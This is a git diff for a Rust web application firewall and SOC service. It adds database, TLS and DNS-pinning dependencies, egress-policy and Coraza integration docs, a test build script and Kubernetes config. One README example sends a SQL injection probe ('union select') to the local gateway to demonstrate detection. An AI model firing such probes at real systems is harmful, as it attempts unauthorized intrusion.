+checksum = "446ba717509524cb3f22f17ecc096f10f4822d76ab5c0b9822c5f9c284e825f4" +dependencies = [ + "cfg-if", + "cpufeatures 0.3.0", + "digest 0.11.3", +] + [[package]] name = "shlex" version = "2.0.1" @@ -1036,6 +1506,28 @@ dependencies = [ "libc", ] +[[package]] +name = "simd_cesu8" +version = "1.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "11031e251abf8611c80f460e19dbdeb54a66db918e49c65a7065b46ac7aec520" +dependencies = [ + "rustc_version", + "simdutf8", +] + +[[package]] +name = "simdutf8" +version = "0.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e3a9fe34e3e7a50316060351f37187a3f546bce95496156754b601a5fa71b76e" + +[[package]] +name = "siphasher" +version = "1.0.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8ee5873ec9cce0195efcb7a4e9507a04cd49aec9c83d0389df45b1ef7ba2e649" + [[package]] name = "slab" version = "0.4.12" @@ -1058,12 +1550,33 @@ dependencies = [ "windows-sys 0.61.2", ] +[[package]] +name = "spki" +version = "0.7.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d91ed6c858b01f942cd56b37a94b3e0a1798290327d1236e4d9cf4eaca44d29d" +dependencies = [ + "base64ct", + "der", +] + [[package]] name = "stable_deref_trait" version = "1.2.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "6ce2be8dc25455e1f91df71bfa12ad37d7af1092ae736f3a6cd0e37bc7810596" +[[package]] +name = "stringprep" +version = "0.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7b4df3d392d81bd458a8a621b8bffbd2302a12ffe288a9d931670948749463b1" +dependencies = [ + "unicode-bidi", + "unicode-normalization", + "unicode-properties", +] + [[package]] name = "subtle" version = "2.6.1" @@ -1170,6 +1683,27 @@ version = "0.1.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "1f3ccbac311fea05f86f61904b462b55fb3df8837a366dfc601a0161d0532f20" +[[package]] +name = "tls_codec" +version = "0.4.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0de2e01245e2bb89d6f05801c564fa27624dbd7b1846859876c7dad82e90bf6b" +dependencies = [ + "tls_codec_derive", + "zeroize", +] + +[[package]] +name = "tls_codec_derive" +version = "0.4.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2d2e76690929402faae40aebdda620a2c0e25dd6d3b9afe48867dfd95991f4bd" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.119", +] + [[package]] name = "tokio" version = "1.53.1" @@ -1197,6 +1731,47 @@ dependencies = [ "syn 3.0.3", ] +[[package]] +name = "tokio-postgres" +version = "0.7.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a528f7d280f6d5b9cd149635c8705b0dd049754bc67d81d31fa25169a93809d3" +dependencies = [ + "async-trait", + "byteorder", + "bytes", + "fallible-iterator", + "futures-channel", + "futures-util", + "log", + "parking_lot", + "percent-encoding", + "phf", + "pin-project-lite", + "postgres-protocol", + "postgres-types", + "rand 0.10.2", + "socket2", + "tokio", + "tokio-util", + "whoami", +] + +[[package]] +name = "tokio-postgres-rustls" +version = "0.14.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4c2ad44aa0ae96db89c4742212ed41645b2f597311ff6e1945542a4d9fadc2fb" +dependencies = [ + "rustls", + "sha2 0.11.0", + "tokio", + "tokio-postgres", + "tokio-rustls", + "webpki-roots", + "x509-cert", +] + [[package]] name = "tokio-rustls" version = "0.26.4" @@ -1216,6 +1791,7 @@ dependencies = [ "bytes", "futures-core", "futures-sink", + "libc", "pin-project-lite", "tokio", ] @@ -1292,6 +1868,12 @@ version = "0.2.5" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "e421abadd41a4225275504ea4d6566923418b7f05506fbc9c0fe86ba7396114b" +[[package]] +name = "typenum" +version = "1.20.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b6f5e870be6c3b371b77fe0ee0bafb859fa4964b4404c27de1d380043c4dda20" + [[package]] name = "unarray" version = "0.1.4" @@ -1304,12 +1886,33 @@ version = "2.9.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "dbc4bc3a9f746d862c45cb89d705aa10f187bb96c76001afab07a0d35ce60142" +[[package]] +name = "unicode-bidi" +version = "0.3.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5c1cb5db39152898a79168971543b1cb5020dff7fe43c8dc468b0885f5e29df5" + [[package]] name = "unicode-ident" version = "1.0.24" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "e6e4313cd5fcd3dad5cafa179702e2b244f760991f45397d14d4ebf38247da75" +[[package]] +name = "unicode-normalization" +version = "0.1.25" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5fd4f6878c9cb28d874b009da9e8d183b5abc80117c40bbd187a1fde336be6e8" +dependencies = [ + "tinyvec", +] + +[[package]] +name = "unicode-properties" +version = "0.1.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7df058c713841ad818f1dc5d3fd88063241cc61f49f5fbea4b951e8cf5a8d71d" + [[package]] name = "untrusted" version = "0.9.0" @@ -1334,17 +1937,32 @@ version = "1.0.4" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "b6c140620e7ffbb22c2dee59cafe6084a59b5ffc27a8859a5f0d494b5d52b6be" +[[package]] +name = "version_check" +version = "0.9.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0b928f33d975fc6ad9f86c8f283853ad26bdd5b10b7f1542aa2fa15e2289105a" + [[package]] name = "waf-ids-ai-soc" version = "0.1.0" dependencies = [ "axum", + "base64", "futures-util", + "hickory-proto", + "hyper", + "hyper-util", + "libloading", "proptest", "reqwest", + "rustls", "serde", "serde_json", + "sha2 0.10.9", "tokio", + "tokio-postgres", + "tokio-postgres-rustls", "tower", "waf-ids-core", ] @@ -1368,6 +1986,16 @@ dependencies = [ "libc", ] +[[package]] +name = "walkdir" +version = "2.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "29790946404f91d9c5d06f9874efddea1dc06c5efe94541a7d6863108e3a5e4b" +dependencies = [ + "same-file", + "winapi-util", +] + [[package]] name = "want" version = "0.3.1" @@ -1383,6 +2011,15 @@ version = "0.11.1+wasi-snapshot-preview1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "ccf3ec651a847eb01de73ccad15eb7d99f80485de043efb2f370cd654f4ea44b" +[[package]] +name = "wasi" +version = "0.14.7+wasi-0.2.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "883478de20367e224c0090af9cf5f9fa85bed63a95c1abf3afc5c083ebc06e8c" +dependencies = [ + "wasip2", +] + [[package]] name = "wasip2" version = "1.0.4+wasi-0.2.12" @@ -1392,6 +2029,15 @@ dependencies = [ "wit-bindgen", ] +[[package]] +name = "wasite" +version = "1.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "66fe902b4a6b8028a753d5424909b764ccf79b7a209eac9bf97e59cda9f71a42" +dependencies = [ + "wasi 0.14.7+wasi-0.2.4", +] + [[package]] name = "wasm-bindgen" version = "0.2.126" @@ -1489,6 +2135,28 @@ dependencies = [ "rustls-pki-types", ] +[[package]] +name = "whoami" +version = "2.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "626c4bac6755d76ffc12cb01b2eac751db1996b9e0041de9aa02c8c211ddc82c" +dependencies = [ + "libc", + "libredox", + "objc2-system-configuration", + "wasite", + "web-sys", +] + +[[package]] +name = "winapi-util" +version = "0.1.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c2a7b1c03c876122aa43f3020e6c3c3ee5c05081c9a00739faf7503aeba10d22" +dependencies = [ + "windows-sys 0.61.2", +] + [[package]] name = "windows-link" version = "0.2.1" @@ -1589,6 +2257,18 @@ version = "0.6.3" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "1ffae5123b2d3fc086436f8834ae3ab053a283cfac8fe0a0b8eaae044768a4c4" +[[package]] +name = "x509-cert" +version = "0.2.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1301e935010a701ae5f8655edc0ad17c44bad3ac5ce8c39185f75453b720ae94" +dependencies = [ + "const-oid 0.9.6", + "der", + "spki", + "tls_codec", +] + [[package]] name = "yoke" version = "0.8.3" @@ -1658,6 +2338,20 @@ name = "zeroize" version = "1.9.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "e13c156562582aa81c60cb29407084cdb54c4164760106ab78e6c5b0858cf64e" +dependencies = [ + "zeroize_derive", +] + +[[package]] +name = "zeroize_derive" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3c50655cbb0fe3fc43170059e702f1ce5e19b84cec58dc87b037a09935c2f328" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.119", +] [[package]] name = "zerotrie" diff --git a/Cargo.toml b/Cargo.toml index b2ec231..0081913 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -11,12 +11,21 @@ resolver = "3" [dependencies] axum = "0.8" +base64 = "0.22" reqwest = { version = "0.12", default-features = false, features = ["rustls-tls", "multipart", "json", "stream"] } futures-util = { version = "0.3", default-features = false, features = ["std"] } +hickory-proto = "0.26.1" +hyper = "1" +hyper-util = { version = "0.1", features = ["tokio"] } +libloading = "0.8" serde = { version = "1", features = ["derive"] } serde_json = "1" -tokio = { version = "1", features = ["fs", "macros", "net", "rt-multi-thread", "signal", "sync"] } +tokio = { version = "1", features = ["fs", "macros", "net", "rt-multi-thread", "signal", "sync", "time"] } waf-ids-core = { path = "crates/waf-ids-core" } +tokio-postgres = { version = "0.7", default-features = false, features = ["runtime"] } +tokio-postgres-rustls = { version = "0.14", default-features = false, features = ["ring", "webpki-roots"] } +rustls = { version = "0.23", default-features = false, features = ["ring", "std", "tls12"] } +sha2 = "0.10" [dev-dependencies] tower = { version = "0.5", features = ["util"] } diff --git a/README.md b/README.md index d158758..73477ec 100644 --- a/README.md +++ b/README.md @@ -66,9 +66,29 @@ Useful environment variables: - `BIND_ADDR`: listen address, default `127.0.0.1:8080` - `ADMIN_TOKEN`: optional write token for management writes via `X-Admin-Token` -- `WAF_IDS_STATE_PATH`: optional JSON state path. When omitted, the service runs with seeded in-memory state. +- `EGRESS_PROXY_TOKEN`: dedicated browser-proxy password. Secret; prefer the + `egress_proxy_token` key in `WAF_IDS_CREDENTIALS_PATH`. +- `EGRESS_DNS_BIND_ADDR`: optional internal UDP+TCP DNS listener address, for + example `0.0.0.0:5353`. Only public A/AAAA answers are returned and cached + for 30 seconds. +- `DESTINATION_ALLOWLIST` / `DESTINATION_DENYLIST`: bootstrap transport for + credential-registry keys `destination_allowlist` / `destination_denylist`. + Values are comma-separated hosts, `*.suffix`, or CIDRs; denylist wins. + Host/suffix entries authorize names and non-default ports but never exempt a + private, loopback, link-local, metadata, or site-local answer. Use a narrow + CIDR entry to authorize an internal address; every answer must match a CIDR + before CIDR authorization opens a non-default port. Approved DNS answers are + cached for 30 seconds and each request receives an isolated pinned client, so + no second DNS lookup or cross-request pin eviction occurs. +- `WAF_IDS_STATE_PATH`: optional JSON state path for loopback/community. When omitted, the service runs with seeded in-memory state. Production (non-loopback) binds require `CONTROL_PLANE_DATABASE_URL` instead. +- `CONTROL_PLANE_DATABASE_URL`: PostgreSQL URL for the production control plane (`postgres://…`). Secret; prefer `WAF_IDS_CREDENTIALS_PATH` key `control_plane_url`. `sslmode=require` / `verify-full` uses rustls with Mozilla roots (certificates always verified). `sslmode=disable` or omitted is plaintext. `allow`/`prefer` are rejected. After migrate, the session runs as `wardnet_runtime` (NOSUPERUSER, NOBYPASSRLS). `security_event` is HASH-partitioned by `tenant_id`. `/healthz.persistence` reports `postgres` when connected; `/healthz.event_partitions` reports the child count. - `DNSBL_ORIGIN`: DNSBL zone origin, default `dnsbl.local` -- `EVENT_LIMIT`: retained event count, default `1000`; must be greater than zero +- `EVENT_LIMIT`: retained event count, default `1000`; must be greater than zero. Also caps `GET /api/outbox` and processed outbox-row retention. +- `CORAZA_LIB_PATH` / `CORAZA_RULES_PATH` / `CORAZA_DIRECTIVES`: optional in-process libcoraza. A missing library or empty ruleset fails startup. `/healthz.proven_engine` reports `coraza_in_process`. +- `CORAZA_WAF_URL`: optional Coraza sidecar URL used when libcoraza is not + loaded. Startup resolves and validates it before binding; internal sidecars + require a narrow `destination_allowlist` CIDR or startup fails explicitly. +- `PROVEN_ENGINE_FAIL_CLOSED`: when true, a configured engine outage returns 503 instead of degrading to builtin scoring Example with persistent local state: @@ -101,6 +121,26 @@ curl http://127.0.0.1:8080/dnsbl/zone curl http://127.0.0.1:8080/gateway/demo?q=union%20select ``` +Fetch a public HTTPS document through Wardnet's destination policy and pinned DNS: + +```bash +curl -X POST http://127.0.0.1:8080/api/outbound/fetch \ + -H 'content-type: application/json' \ + -H 'x-admin-token: dev-secret' \ + -d '{"url":"https://example.com/privacy","max_bytes":524288}' +``` + +The JSON response contains `status`, `content_type`, `final_url`, `body_base64`, +and `redirects`. Wardnet follows at most three HTTPS redirects, revalidates and +pins DNS at every hop, disables ambient proxies, accepts document content types, +and caps `max_bytes` at 8 MiB. A missing, malformed, or unsupported +`Content-Type` is rejected rather than inferred from bytes. Errors return stable +`code` and safe `error` fields. Security research grounding is recorded in +[`docs/research/outbound-egress-security.md`](docs/research/outbound-egress-security.md). + +Camoufox/Firefox network enforcement uses both the DNS listener and authenticated +HTTP CONNECT proxy; see [`docs/camoufox-egress.md`](docs/camoufox-egress.md). + Add a blocking route: ```bash @@ -122,6 +162,12 @@ Management writes are upserts: - threat indicators are keyed by `indicator_type`, `value`, and `source` - DNSBL entries are keyed by `address` +Route writes validate structure without requiring live DNS. Every gateway +execution revalidates destination policy and fails closed if resolution or +authorization is unavailable. General outbound clients do not follow redirects; +the bounded document-fetch API is the sole manual redirect path and revalidates +each hop. + DNSBL response codes must be IPv4 loopback-style values in `127.0.0.0/8`. Import a reviewed threat feed: diff --git a/build.rs b/build.rs new file mode 100644 index 0000000..baafea5 --- /dev/null +++ b/build.rs @@ -0,0 +1,60 @@ +//! Compile the libcoraza C-ABI fixture used by in-process engine tests. +//! +//! Production loads operator-supplied libcoraza (`CORAZA_LIB_PATH`). CI stays +//! hermetic: this stub implements the same exported symbols without Go. + +use std::path::PathBuf; +use std::process::Command; + +fn main() { + println!("cargo:rerun-if-changed=src/coraza_abi_stub.rs"); + + let out_dir = std::env::var("OUT_DIR").expect("OUT_DIR set by cargo"); + let output = stub_output_path(&out_dir); + let rustc = std::env::var("RUSTC").unwrap_or_else(|_| "rustc".to_string()); + let manifest_dir = std::env::var("CARGO_MANIFEST_DIR").expect("CARGO_MANIFEST_DIR"); + let source = PathBuf::from(&manifest_dir).join("src/coraza_abi_stub.rs"); + + let mut cmd = Command::new(&rustc); + cmd.arg("--crate-type") + .arg("cdylib") + .arg("--crate-name") + .arg("coraza_abi_stub") + .arg("--edition") + .arg("2024") + .arg("-D") + .arg("warnings") + .arg("-C") + .arg("opt-level=0") + .arg("-o") + .arg(&output) + .arg(&source); + + if let (Ok(host), Ok(target)) = (std::env::var("HOST"), std::env::var("TARGET")) + && host != target + { + cmd.arg("--target").arg(target); + } + + let status = cmd.status().unwrap_or_else(|error| { + panic!("failed to spawn rustc for libcoraza ABI stub: {error}"); + }); + if !status.success() { + panic!("rustc failed to build libcoraza ABI stub: {status}"); + } + + println!( + "cargo:rustc-env=WARDNET_CORAZA_ABI_STUB={}", + output.display() + ); +} + +fn stub_output_path(out_dir: &str) -> PathBuf { + let os = std::env::var("CARGO_CFG_TARGET_OS").unwrap_or_default(); + let filename = match os.as_str() { + "windows" => "coraza_abi_stub.dll", + "macos" => "libcoraza_abi_stub.dylib", + _ => "libcoraza_abi_stub.so", + }; + PathBuf::from(out_dir).join(filename) +} diff --git a/crates/waf-ids-core/src/lib.rs b/crates/waf-ids-core/src/lib.rs index e378869..c886b8a 100644 --- a/crates/waf-ids-core/src/lib.rs +++ b/crates/waf-ids-core/src/lib.rs @@ -22,6 +22,9 @@ pub struct AppData { pub commercial: CommercialProfile, #[serde(default)] pub threat_feeds: Vec, + /// Postgres optimistic-concurrency token. File/memory ignore it. + #[serde(default, skip)] + pub snapshot_version: u64, } impl AppData { @@ -56,6 +59,7 @@ impl AppData { next_audit_log_id: 1, commercial: CommercialProfile::seeded(), threat_feeds: Vec::new(), + snapshot_version: 0, } } } @@ -1123,12 +1127,16 @@ pub fn commercial_readiness_snapshot_at(data: &AppData, now_unix: u64) -> Commer "Dockerfile".to_string(), "deploy/docker-compose.yml".to_string(), "deploy/kubernetes/waf-ids-ai-soc.yaml".to_string(), + ".github/workflows/release.yml".to_string(), ], buyer_evidence: vec![ "docs/commercial/20b-krw-sale-readiness.md".to_string(), "docs/commercial/buyer-due-diligence.md".to_string(), "docs/security/threat-model.md".to_string(), "docs/security/compliance-mapping.md".to_string(), + "docs/runbooks/release.md".to_string(), + "docs/doctoring/signed-release.md".to_string(), + "docs/papers/nist-sp-800-218-ssdf.pdf".to_string(), ], } } @@ -1165,6 +1173,9 @@ pub fn buyer_evidence_manifest_at(data: &AppData, now_unix: u64) -> BuyerEvidenc "docs/product-design/enterprise-operator-workflows.md".to_string(), "docs/figma/enterprise-product-architecture.md".to_string(), "docs/ponytail/2026-07-02-complexity-audit.md".to_string(), + "docs/runbooks/release.md".to_string(), + "docs/doctoring/signed-release.md".to_string(), + "docs/papers/nist-sp-800-218-ssdf.pdf".to_string(), ], deployment_assets: readiness.deployment_assets, } @@ -1177,7 +1188,7 @@ fn buyer_evidence_endpoints() -> Vec { "GET", "/healthz", "application/json", - "runtime health, persistence mode, DNSBL origin, and event retention limit", + "runtime health, persistence mode, DNSBL origin, event retention, and HASH event partitions", true, ), buyer_evidence_endpoint( @@ -1260,6 +1271,14 @@ fn buyer_evidence_endpoints() -> Vec { "Coraza/OWASP CRS WAF audit JSON/NDJSON ingest into SOC security events (admin-auth)", false, ), + buyer_evidence_endpoint( + "waf_engine_status", + "GET", + "/api/waf/engine-status", + "application/json", + "in-path Coraza libcoraza/sidecar vs ingest-hint enforcement status (no library path or sidecar URL)", + false, + ), buyer_evidence_endpoint( "stix_indicator_ingest", "POST", @@ -1723,4 +1742,14 @@ mod tests { assert_eq!(data.next_audit_log_id, 3); assert_eq!(data.audit_logs[0].resource_id, "edge"); } + + #[test] + fn snapshot_version_is_runtime_only_in_serialized_state() { + let mut data = AppData::seeded(); + data.snapshot_version = 42; + let json = serde_json::to_string(&data).unwrap(); + assert!(!json.contains("snapshot_version")); + let restored: AppData = serde_json::from_str(&json).unwrap(); + assert_eq!(restored.snapshot_version, 0); + } } diff --git a/deploy/kubernetes/waf-ids-ai-soc.yaml b/deploy/kubernetes/waf-ids-ai-soc.yaml index f811ecb..9298466 100644 --- a/deploy/kubernetes/waf-ids-ai-soc.yaml +++ b/deploy/kubernetes/waf-ids-ai-soc.yaml @@ -11,18 +11,9 @@ metadata: type: Opaque stringData: ADMIN_TOKEN: replace-with-secret-manager-sync ---- -apiVersion: v1 -kind: PersistentVolumeClaim -metadata: - name: waf-ids-ai-soc-state - namespace: waf-ids-ai-soc -spec: - accessModes: - - ReadWriteOnce - resources: - requests: - storage: 2Gi + EGRESS_PROXY_TOKEN: replace-with-separate-secret-manager-sync + # Provision this TLS PostgreSQL service and wardnet_runtime role before rollout. + CONTROL_PLANE_DATABASE_URL: postgres://wardnet:replace-with-secret-manager-sync@wardnet-postgres.database.svc.cluster.local:5432/wardnet?sslmode=require --- apiVersion: apps/v1 kind: Deployment @@ -53,23 +44,36 @@ spec: ports: - containerPort: 8080 name: http + - containerPort: 5353 + name: egress-dns-udp + protocol: UDP + - containerPort: 5353 + name: egress-dns-tcp + protocol: TCP env: - name: BIND_ADDR value: 0.0.0.0:8080 - name: DNSBL_ORIGIN value: dnsbl.example + - name: EGRESS_DNS_BIND_ADDR + value: 0.0.0.0:5353 - name: EVENT_LIMIT value: "1000" - - name: WAF_IDS_STATE_PATH - value: /var/lib/waf-ids-ai-soc/state.json + - name: CONTROL_PLANE_DATABASE_URL + valueFrom: + secretKeyRef: + name: waf-ids-ai-soc-admin + key: CONTROL_PLANE_DATABASE_URL - name: ADMIN_TOKEN valueFrom: secretKeyRef: name: waf-ids-ai-soc-admin key: ADMIN_TOKEN - volumeMounts: - - name: state - mountPath: /var/lib/waf-ids-ai-soc + - name: EGRESS_PROXY_TOKEN + valueFrom: + secretKeyRef: + name: waf-ids-ai-soc-admin + key: EGRESS_PROXY_TOKEN readinessProbe: httpGet: path: /healthz @@ -95,10 +99,6 @@ spec: drop: - ALL readOnlyRootFilesystem: true - volumes: - - name: state - persistentVolumeClaim: - claimName: waf-ids-ai-soc-state --- apiVersion: v1 kind: Service @@ -112,3 +112,11 @@ spec: - name: http port: 80 targetPort: http + - name: egress-dns-udp + port: 53 + targetPort: egress-dns-udp + protocol: UDP + - name: egress-dns-tcp + port: 53 + targetPort: egress-dns-tcp + protocol: TCP diff --git a/docs/architecture.md b/docs/architecture.md index 89291bf..8d4d9b1 100644 --- a/docs/architecture.md +++ b/docs/architecture.md @@ -28,10 +28,14 @@ flowchart LR ## Components - `src/main.rs`: process startup and operator configuration from `BIND_ADDR`, `ADMIN_TOKEN`, `WAF_IDS_STATE_PATH`, `DNSBL_ORIGIN`, and `EVENT_LIMIT`. -- `src/lib.rs`: Axum app, routing, management APIs, optional JSON persistence, gateway handler, upstream proxying, admin console, support bundle assembly, NDJSON event export, and in-crate HTTP tests. +- `src/lib.rs`: Axum app, routing, management APIs, optional JSON persistence, gateway handler, upstream proxying, admin console, support bundle assembly, NDJSON event export, and in-crate HTTP tests. Persistence, destination-list, and sidecar settings validate before the readiness line is printed. +- `src/control_plane.rs`: PostgreSQL production authority (issue #80). Non-loopback binds require `CONTROL_PLANE_DATABASE_URL`. Tenant isolation is default-deny RLS under `wardnet_runtime` (not superuser/owner). Snapshot persist is optimistic-concurrency on `snapshot_version` (HTTP 409). `sslmode=require` uses rustls. `security_event` is HASH-partitioned by `tenant_id` (`/healthz.event_partitions`). The JSON file adapter remains loopback/community only. +- `src/outbox.rs`: transactional outbox + leased workers (issue #81). Security events append incrementally with an outbox row in the same transaction. Workers claim with `SKIP LOCKED`. `GET /api/outbox` is bounded to `EVENT_LIMIT` (processed rows pruned; receipts kept). `GET /api/outbox/{id}` returns receipt evidence for TAXII, Clearfolio, and SOC analysis consumers. `/healthz.outbox` is operator-visible. HTTP consumers release the PostgreSQL client lock before outbound I/O. +- `src/destination.rs`: fail-closed outbound URL policy (issue #79) for every `http`/`https` send. CIDR allowlist exceptions are per resolved address; blocking DNS is offloaded from Tokio workers. The outbound HTTP client DNS resolver returns only addresses that already passed policy (TCP peer pin / DNS-rebinding TOCTOU close). - `crates/waf-ids-core`: reusable domain models plus validation, upsert, scoring, DNSBL zone export, event retention, threat-feed freshness, KPI snapshot, and commercial readiness logic. - `/admin`: embedded web console. - `/gateway/{path}`: route selection, request scoring, monitor/block decision, optional upstream proxying. +- `.github/workflows/release.yml`: annotated `vX.Y.Z` tags only (lightweight tags are refused). Builds a locked binary, basename SHA-256 checksums, SPDX SBOMs, keyless Sigstore signatures, SLSA provenance, and a GHCR image signed by digest. Kubernetes pin is `IMAGE-DIGEST.txt` (`docs/runbooks/release.md`). - `/dnsbl/zone`: DNSBL zone text using the configured origin, suitable for publication through an authoritative DNS server. - `/api/commercial/license`: tenant/license metadata for commercial packaging. - `/api/commercial/readiness`: computed 2B KRW sale-readiness checks and blockers. @@ -43,7 +47,7 @@ flowchart LR ## Near-Term Integrations -- **WAF**: Coraza/OWASP CRS audit JSON/NDJSON ingest is available at `POST /api/waf/coraza/audit` (admin token). Interrupted transactions and CRS rule messages become `SecurityEvent` rows and feed gateway enforcement (DNSBL + `client_ip`/`path` threat indicators) so subsequent gateway decisions block matching clients. In-process Coraza embedding remains a follow-up — do not replace CRS with hand-rolled rules. +- **WAF**: Coraza/OWASP CRS audit JSON/NDJSON ingest is available at `POST /api/waf/coraza/audit` (admin token). Interrupted transactions and CRS rule messages become `SecurityEvent` rows and feed gateway enforcement (DNSBL + `client_ip`/`path` threat indicators) so subsequent gateway decisions block matching clients. When `CORAZA_LIB_PATH` is set, each live `/gateway` transaction is evaluated in-process through the libcoraza C ABI (operator-supplied library + CRS file/directives). Otherwise, when `CORAZA_WAF_URL` is set, the transaction is POSTed to that sidecar and the response is parsed with the same Coraza audit adapter — CRS authority stays in Coraza; Wardnet does not invent WAF rules. `GET /api/waf/engine-status` reports `coraza_in_process`, `coraza_sidecar`, or `ingest_hints_only`. Suricata tail/shipper and detection-quality corpora remain follow-ups. - **IDS**: Suricata EVE JSON/NDJSON ingest is available at `POST /api/ids/suricata/eve` (admin token). Alert records become `SecurityEvent` rows for SOC export/KPI; full route correlation and live EVE tailing remain follow-ups. - **Threat Intelligence**: STIX 2.x indicator/bundle ingest is available at `POST /api/threat-intel/stix` (admin token), MISP Event/attribute JSON ingest at `POST /api/threat-intel/misp` (admin token), TAXII 2.1 collection poll at `POST /api/threat-intel/taxii/poll` (admin token; Basic/Bearer optional), and OpenCTI observable/indicator export ingest at `POST /api/threat-intel/opencti` (admin token). All update `ThreatIndicator` / `DnsblEntry` plus feed freshness. Live MISP REST pull and live OpenCTI GraphQL pull remain follow-ups. - **DNSBL Serving**: Hickory DNS should serve authoritative DNSBL responses directly after zone export semantics stabilize. @@ -53,15 +57,35 @@ flowchart LR - Default bind address is localhost. - Remote management requires `ADMIN_TOKEN` plus external TLS and identity controls. -- `WAF_IDS_STATE_PATH` enables JSON state persistence for standalone operation. Without it, the service uses seeded in-memory state. +- `WAF_IDS_STATE_PATH` enables JSON state persistence for standalone/loopback operation. Without it, the service uses seeded in-memory state. Production binds require PostgreSQL (`CONTROL_PLANE_DATABASE_URL`). - File-backed writes use temporary sibling files followed by atomic rename. Management API mutations roll back in memory if the state file cannot be replaced. - Block mode is route-scoped to avoid global accidental enforcement. -- JSON persistence is a baseline durability mechanism, not a substitute for a production database, backup plan, or audited change workflow. +- JSON persistence is a baseline durability mechanism, not a substitute for a production database. PostgreSQL mode exports a hashed logical snapshot (`GET /api/backup`) and runs an isolated restore drill (`POST /api/backup/drill`). - Commercial readiness is a runtime evidence model for buyer pilots, not a legal revenue recognition or compliance certification system. - The reusable core remains in-repo as a workspace crate. A git submodule is intentionally deferred until an independently versioned engine, SDK, or adapter needs a separate release lifecycle. ## Product Architecture Evidence +- NIST SP 800-218 grounding: + - NIST. (2022). *Secure software development framework (SSDF) version 1.1: + Recommendations for mitigating the risk of software vulnerabilities* + (SP 800-218). https://doi.org/10.6028/NIST.SP.800-218 + - Design impact: the release path keeps signed, attestable build evidence + and the runtime path keeps configuration validation ahead of readiness so + the product can prove secure-build and secure-deploy controls separately. +- PostgreSQL RLS and outbox grounding: + - Kleppmann, M. (2017). *Designing data-intensive applications*. O'Reilly + Media. + - Design impact: tenant isolation is enforced in the database rather than in + application memory alone, and external side effects are emitted through a + transactional outbox so durable state changes and asynchronous delivery do + not diverge silently. +- Proven-engine WAF grounding: + - OWASP Foundation. (n.d.). *OWASP Core Rule Set documentation*. + https://coreruleset.org/docs/ + - Design impact: Wardnet reuses Coraza/CRS as the decision authority for WAF + enforcement instead of claiming equivalent protection from hand-rolled + route logic. - FigJam: `docs/figma/enterprise-product-architecture.md` - Product workflows: `docs/product-design/enterprise-operator-workflows.md` - Enterprise scorecard: `docs/analytics/enterprise-value-scorecard.md` diff --git a/docs/camoufox-egress.md b/docs/camoufox-egress.md new file mode 100644 index 0000000..fc9976a --- /dev/null +++ b/docs/camoufox-egress.md @@ -0,0 +1,65 @@ +# Camoufox egress contract + +Wardnet is both the container DNS resolver and the only HTTPS egress path. A +preflight URL approval is not a security boundary: the browser navigation must +use the CONNECT proxy and the workload network must deny direct Internet egress. + +## Wardnet + +Seed the credential registry with a dedicated `egress_proxy_token` (the +`EGRESS_PROXY_TOKEN` environment variable is bootstrap transport only), set +`BIND_ADDR=0.0.0.0:8080`, and set `EGRESS_DNS_BIND_ADDR=0.0.0.0:5353` on the +internal workload network. Do not expose port 5353 publicly. The Kubernetes +Service maps its internal port 53 to this unprivileged container port. + +The DNS listener supports bounded UDP and TCP A/AAAA queries. It runs every new +name through `DestinationPolicy`, returns no private, loopback, link-local, +metadata, or otherwise denied address, caches the approved address set for 30 +seconds, caps the cache at 1024 names, and refuses other record types. TCP DNS +messages are capped at 4096 bytes and concurrent TCP clients at 64. + +The HTTP endpoint accepts authenticated `CONNECT host:443` only. Configure +Basic proxy credentials as username `wardnet` and password equal to the +dedicated proxy token. Wardnet resolves through the same policy/cache and opens +the upstream socket directly to an approved IP; it never performs a second +connect-time DNS lookup. A redirect to another origin therefore requires a new +policy-checked CONNECT tunnel. + +## Camoufox / contextual-orchestrator + +Provide these values from the deployment layer: + +```text +DNS nameserver: (UDP and TCP port 53) +HTTP/HTTPS proxy: http://:8080 +Proxy username: wardnet +Proxy password: +Firefox DoH/TRR: disabled (network.trr.mode=5) +``` + +Configure the container runtime DNS address and the Camoufox proxy launch +option; setting only one is incomplete. Do not pass the Wardnet admin token to +the browser container. + +Enforce a default-deny egress policy on the Camoufox workload. Its only allowed +egress is UDP/TCP DNS to the Wardnet Service port 53 (target port 5353) and TCP +to Wardnet port 8080. In +particular, deny direct TCP 80/443 and all other DNS servers. Wardnet separately +needs upstream DNS and TCP 443. This network policy is what prevents a browser, +extension, subprocess, or IP-literal URL from bypassing the proxy contract. + +## Operator API + +`GET /api/egress` requires any authenticated admin principal and reports only +non-secret status: destination mode, whether proxy authentication and the DNS +listener are configured, and the live bounded 